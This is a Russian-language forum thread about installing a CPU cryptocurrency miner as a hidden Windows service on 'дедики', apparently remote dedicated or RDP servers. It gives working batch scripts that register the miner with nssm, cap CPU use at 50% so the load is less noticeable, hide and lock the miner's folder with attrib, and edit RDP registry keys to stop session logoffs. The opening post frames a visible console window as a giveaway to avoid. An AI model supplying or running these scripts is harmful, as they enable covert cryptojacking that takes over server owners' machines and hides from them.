Устанавливаем майнер как "службу"

Тема в разделе "Майнинг (общий раздел)", создана пользователем minerd, 30 апр 2016.

Метки:
  1. Т.к те, кто майнит на дедиках просто запускают свой батник или .vbs скрипт, 1 вариант палевно, т.к видно окно cmd, минус второго - после рестарта его нужно будет запустить заново, сейчас я покажу как можно без особого труда установить майнер как службу
    Существует такая софтина как nssm (Non-Sucking Service Manager)
    Итак, софт должен лежать рядом с майнером(желательно), создаем батник и пишем в нем:
    Код:
    nssm install <servicename> <parameter>
    где servicename - имя сервиса
    parameter - параметры с которыми мы и запустим майнер, например:
    Код:
    nssm install myservices miner.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.1 -p x
    далее запускаем сервис через Win+R либо командой
    Код:
    nssm start myservices
     
    ahtss, BordaberryVinoly, веселый и ещё 1-му нравится это.
  2. Для более быстрой установки создал батник который устанавливает майнер как службу и соотв. запускает ее
    майнер я взял стандартный
    Скрытое содержимое:
    **Скрытое содержимое: Для просмотра Вам необходимо минимум 1 сообщений на форуме.**
    текст батника:
    Код:
    @echo off
    set SERVICE_NAME=myservices
    nssm install "%SERVICE_NAME%" myminer.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.worker1 -p x
    
    Set ProcessName=myminer.exe
    TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||(
    sc start "%SERVICE_NAME%"
    )
    exit
     
    BordaberryVinoly, Andriyan21 и admin нравится это.
  3. т.к руками вычислять кол-во процессов очень напряжно, предлагаю использовать такой вариант
    Код:
    set /a cpu=%NUMBER_OF_PROCESSORS%/2
    myminer.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.worker1 -p x -t %cpu%
    для тех кто не понял
    Код:
    set /a cpu=%NUMBER_OF_PROCESSORS%/2
    данный параметр дает возможность указать майнеру параметр "-t" так, что бы ваш майнер не грузил cpu более чем на 50% от всех возможных, я упоминал для чего это нужно в топике.

    Далее еще пара не больших правок
    Что бы скрыть содержимое папки где находится майнер используйте этот код:
    Код:
    attrib +h +r C:\путь_до_папки_с_майнером\*.*
    естественно замените путь на свой.

    У некоторых дедиков есть свойство отключаться после окончания сессии, исправить это можно так:
    Код:
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
    net accounts /forcelogoff:no
    В 90% случаев должно помочь решить проблему с отключением.

    В итоге у вас должен получится примерно такой код
    Код:
    @echo off
    set /a cpu=%NUMBER_OF_PROCESSORS%/2
    set SERVICE_NAME=myservices
    nssm install "%SERVICE_NAME%" myminer.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.worker1 -p x -t %cpu%
    
    Set ProcessName=myminer.exe
    TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||(
    sc start "%SERVICE_NAME%"
    )
    attrib +h +r C:\myminer\*.*
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
    net accounts /forcelogoff:no
    
    exit
    Если что то забыл/упустил - отпишите поправим, дополним=)
     
    skripkoff, BordaberryVinoly, Andriyan21 и ещё 1-му нравится это.
  4. Еще один вариант с использованием майнера cpuminer-opt
    создать рядом с ехе файл, например config.json с содержимым:
    Код:
    {
        "_comment1": "Any long-format command line argument ",
        "_comment2": "may be used in this JSON configuration file",
        "url": "stratum+tcp://hodl.usa.nicehash.com:3352",
        "user": "mybtc.worker1",
        "pass": "x",
        "algo": "hodl",
        "threads": 0,
        "cpu-priority": 5,
        "cpu-affinity": -1,
        "benchmark": false,
        "debug": false,
        "protocol": false,
        "quiet": false
    }
    заменить mybtc на ваш биткоин кошелек, если используете пул - замените stratum и соотв. название воркера и валюту
    В батнике все по старому, единственное, не нужно прописывать каких то лишник параметров вроде пула, кошелька и т.д:
    Код:
    nssm install %SERVICE_NAME% myminer.exe -c config.json
     
    Onixguru и BordaberryVinoly нравится это.
  5. А можете подсказать как настроить на примере консольного майнергета службу
     
    BordaberryVinoly нравится это.
  6. Сделал так но понять запустился или нет сервис не могу где посмотреть можно?
    @echo off
    set /a cpu=%NUMBER_OF_PROCESSORS%/2
    set SERVICE_NAME=cli
    nssm install "%cli%" cli.exe -user мой емаил -xmr

    Set ProcessName=cli.exe
    TaskList /FI "ImageName EQ %cli%" 2>nul|Find /I "%ProcessName%">nul||(sc start "%cli%")
    attrib +h +r C:\Users\adm\cli64*.*
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
    net accounts /forcelogoff:no


    exit
     
    BordaberryVinoly нравится это.
  7. Вот что получилось но не могу понять запустился сервис или нет? майнинг на серверах (дедиках)
     
    BordaberryVinoly нравится это.
  8. нет, по какой то причине он выдал ошибку, возможно не хватает прав, гляньте, появился ли вообще ваш процесс в диспетчере
     
    BordaberryVinoly нравится это.
  9. Нет не появился
     
  10. попробуйте вначале просто запустить майнер(батником), т.е обычно с окошком cmd, будет ли он работать
     
    Nord_vampir нравится это.
  11. Да обычное работает и со скриптом где я скрываю окно консоли тоже работает а как служба не работает
     
  12. 1. гляньте создалась ли вообще служба services.msc
    2. отредактируйте код а именно эти строки:
    Код:
    TaskList /FI "ImageName EQ %cli%" 2>nul|Find /I "%ProcessName%">nul||(sc start "%cli%")
    
    что бы получилось все раздельно, как в постах выше:
    Код:
    Set ProcessName=myminer.exe
    TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||(
    sc start "%SERVICE_NAME%"
    )
    attrib +h +r C:\myminer\*.*
     
    BordaberryVinoly и Nord_vampir нравится это.
  13. АААА то есть надо именно так, а вот вопрос что есть вот эти переменные? ImageName ProcessName они так и должны быть или их надо называть как то?
     
    BordaberryVinoly нравится это.
  14. Set ProcessName=myminer.exe
    SERVICE_NAME
    вот эти переменные я могу назвать как хочу или мне майнер переименовать именно так myminer.exe
     
    BordaberryVinoly нравится это.
  15. Код:
    Set ProcessName=myminer.exe
    TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||(
    sc start "%SERVICE_NAME%"
    )
    команда проверяет, запущен ли майнер, т.е
    %ProcessName% - название майнера, в вашем случае cli.exe, его нужно указать:
    Код:
    Set ProcessName=myminer.exe
    если же такого процесса нет, запускается служба:
    Код:
    sc start "%SERVICE_NAME%"
    вам нужно поменять лишь название процесса
    Код:
    Set ProcessName=myminer.exe
     
    BordaberryVinoly нравится это.
  16. Все остальное оставлять как есть?
    и еще вопрос
    Non-Sucking Service Manager должен быть один файл по разрядности ситемы или там в архиве еще папочка есть это все должно быть в папке с майнером?
     
    BordaberryVinoly нравится это.
  17. да, оставляйте как есть.
    нет, там 2 файла, я не гружу майнер на win x32, хотя они и не попадаются мне.
     
    BordaberryVinoly нравится это.
  18. вот что в архиве с nssm
    nssm
    что именно надо ложить в папку с майнером?
     
    BordaberryVinoly нравится это.
  19. 1 папка - исходный код
    2 и 3 версии софта для разных архитектур
     
    BordaberryVinoly нравится это.
  20. то есть грубо говоря далжно быть вот так
    Устанавливаем майнер как службу